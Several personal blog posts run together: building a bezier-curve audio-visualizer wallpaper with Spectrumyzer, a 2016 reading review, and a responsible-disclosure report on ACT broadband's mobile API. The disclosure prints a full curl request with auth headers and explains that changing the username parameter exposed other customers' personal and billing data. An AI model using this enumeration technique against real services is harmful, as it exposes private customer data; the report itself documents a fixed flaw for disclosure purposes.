Building the perfect audio visualization

I made this as my animated wallpaper recently (Click to play/pause):

above video has a audio component, click at your own peril.

What follows is the story and the tech behind making this.

The Wallpaper

I have a long history of using custom wallpapers. This was my wallpaper from 2014-:

Old Wallpaper

When I asked Vikalp to design a new one, I knew I wanted something that was slightly more softer. This is what he came up with, after a few iterations:

New Wallpaper

This wasn’t the final iteration, and both of us agreed that there was something missing.


I saw a colleague using cava and spent a bit of time trying out different visualization software. The ones that I tried out:

works perfectly with i3, runs on a terminal. I couldn’t get it to work cleanly with transparency. Cava screenshot using tiling
Winamp’s legacy. This works great for parties, but is not really an everyday-use visualizer. Milkdrop Running using projectM on Linux
Worked with transparency, but limited to bars visualization.

I decided to go ahead with Spectrumyzer (This is the default config):

Default Spectrum Config

The Traffic Jam

The very same day, stuck in a traffic jam1, I asked Vikalp for some color ideas on the visualization.

The obvious 2 were tried first:

Spectrum Dark Blue Config

Spectrum Yellow Config

It finally dawned on us to use the light blue variant with padding set to zero:

Spectrum Light Blue

Here is one showing the actual positioning (set using the offsets):

Spectrum Offset

Bezier Curves

With the padding set to zero, it already looked great. I ended up using this as my wallpaper for the next one week. Vikalp wanted to make the bars non-rectangular, and I spent some time figuring out how to make waveforms using bezier curves2. The basic learning from my experiments were:

  • Cairo has methods for drawing cubic bezier curves.
  • Cubic bezier curves have 2 control points.
  • The control points must be symmetric (equidistant) as well as parallel to the origin points.
  • The parallel part ensures that the ending and starting line segments are always tangential giving a smooth joining.

This is roughly what you want to do when drawing waveforms:

Waveform bezier curve

If you are interested in playing around with Bezier curves, see Animated Bézier Curves. A Primer on Bézier Curves is a math-heavy explanation if you want to read further3.

The code I wrote picks the midpoints of the bars and then connects them using bezier curves:

# control point cords
# Make sure these are symmetric
c1x = rect_top_mid_x + 16
c2x = next_rect_top_mid_x - 16
c1y = rect_top_mid_y
c2y = next_rect_top_mid_y

I also had to make the number of bars configurable (this is default=64, which doesn’t look great):

Spectrum water 64

Here is the complete final result in HD:

What I learned

  • Bezier curves are not magic.
  • Drawing pixels on screen and filling them was quite easy with Cairo and Python.
  • Coding is wizardry. The things that I take for granted every day (take a multi-page website and get useful tabular data out of it, for eg) are unthinkable for most people. The idea of doing water waves was something I knew would be possible before I even looked at the codebase.

If you’d like to replicate this setup, or build upon it, here is my spectrum.conf file. I also filed a PR (now merged!) to the spectrumyzer project adding support for curve based renders.

  1. Sony World Junction - Where startup ideas are born. 

  2. The Spectrumyzer codebase turned out to be fairly easy to understand. It was just cairo and pyGTK. 

  3. A Primer on Bézier Curves was published on HN just a few days after I finished this project. 

Book Review (2016)

I tweeted this a while back about my reading progress in 2016, and thought I’d do a post about what I read.

Continuing with the review tradition from last year, here are the top 3 books that I read in 2016:

Other books that I enjoyed were “Bands of Mourning”, the 3rd book in Mistborn Era 2, and the Powder Mage Trilogy which I found hard to put down.

I decided to aim for 36 books in 2016 (as well as 2017 now), and crossed that nicely. I picked 36 because it corresponds to 3 books a month or 1 book every 10 days, which makes for a goal that is easily tracked. I count everything that goodreads might count as a book (which is both good and bad), but I stick to it. Far more important for me would be the page count, which I charted at the end of the year and I read ~830 pages a month, which I’m pretty happy with.

I’m hoping to read more technical books in 2017, and have made some progress on that front with re-reading SICP.

If you are interested in the script that generated the graph, you can find it on github.

Vulnerability Report: ACT Corp

ACT, for those who don’t know is one of India’s most popular broadband providers.

This is a very brief and concise summary.

  • ACT has a mobile application
  • That allows you to login and check your plan details, data usage etc
  • I’ve been wanting to build a command line application that lets me check the balance easily
  • I tried scripting their website, but it was too much javascript.
  • The mobile app uses an API to do the same
  • The API happens to have really bad auth
  • Got fixed almost 3 months after reporting this.


curl -H "Content-Type: application/json" -H "Authtoken: 2aee21dfb1ef77707c30f48ccc513ad60b74d1fc6a84d60ecc32323ab5941469" -H "Apiversion: 1.0" -H "Appversion: 32" -H "Devicetype: 1" -H "Deviceid: 68590327e3e0ca81" -H "Mobilenumber: 9999999999" -H "Mid: 8973808103928d98703e65c0106b7a9d4001886234afbc2d7ce6415b75f9c216" --data '{"username":"11111111"}'

The API responds back with the following:

  "code": 200,
  "status": true,
  "message": "Success",
  "data": {
    "plan_details": {
      "agreement_info": {
        "agreement_no": "XXXXXXXXXX",
        "promotion_code": "",
        "package_code": "ACTESS01M",
        "package_name": "",
        "agreement_startdate": "DD/MM/YYYY",
        "expiry_date": "",
        "status": "",
        "entity_code": "[]",
        "subscription_period": "[]",
        "payterm": "[]",
        "billingcycle_code": "[]",
        "contract_type": "ISP",
        "outlets": "1",
        "service_points": "",
        "package_tenure": int,
        "due_date": ""
      "product_info": {
        "product_code": "",
        "product_desc": ""
    "plan_usage_info": {
      "service_id": "ACTESS01M",
      "service_name": "ACTESS01M",
      "outbyteslimit": 322122547200,
      "outbytesremaining": 153400581140,
      "outbytesused": 168721966060
    "bill_info": {
      "accountno": "111111112233",
      "subscribername": "NAME",
      "phonenumber": "PHONENUMBER",
      "address": {
        "line1": "YUP",
        "line2": "THESE TWO LINES WERE FILLED",
        "line3": "",
        "district": "AND THIS",
        "city": "BANGALORE",
        "state": "KARNATAKA",
        "country": "India"
      "billno": "10000001111",
      "billdate": "DD/MM/2016",
      "account_period": "01/MM/2016-30/MM/2016",
      "previous_due": "",
      "current_invoice_amt": "1234",
      "total_due": "0",
      "bill_due_date": "15 Nov 2016"

Some of these are empty fields, and some values that I didn’t understand I’ve replaced with [].

The fun part is that the request is actually a POST and contains the following data:


I happen to have friends who also use ACT. I asked around for usernames, and just by changing this one parameter in the request, I could access the complete details of almost everyone else.

Almost everyone, because for certain cases, I get a valid empty response. Valid because it has the same schema, but empty because all values are empty strings. Don’t know what that happens consistently only for certain accounts. (One of these was a Hyd account, the other in BLR).

If you are interested I’m working on a simple API that lets you access the ACT API to check the same details. It would ask you for an OTP the first time you login, and then cache the credentials to let you check the balance easily.

I’ve reported this to ACT as soon as I found it. Will disclose after I’ve given them some time!

Update: This was reported and fixed by ACT after I managed to find a contact via an investor (really!).


Date Details
29 Nov 2016 Vulnerability Identified
29 Nov 2016 Email sent to ACT, no response
6 Dec 2016 Email sent with partial customer details to explain scope of the issue, no response
8 Dec 2016 Reminder sent, no response
20 Jan 2017 Another reminder with a writeup sent. I also set a deadline of 29th January (2 months since first contact). Also got in touch with CERT-IN. No response
23 Jan 2017 Accidentally an investor in ACT saw my tweet and responded over twitter. Send a writeup, along with the suggestion to take down the application
24 Jan 2017 ACT reports issue is fixed. I test and report back as fixed the next day
26 Mar 2017 Report published

However, the huge timeline involved here pretty much guarantees that if you are an ACT customer, your data is out there in the public.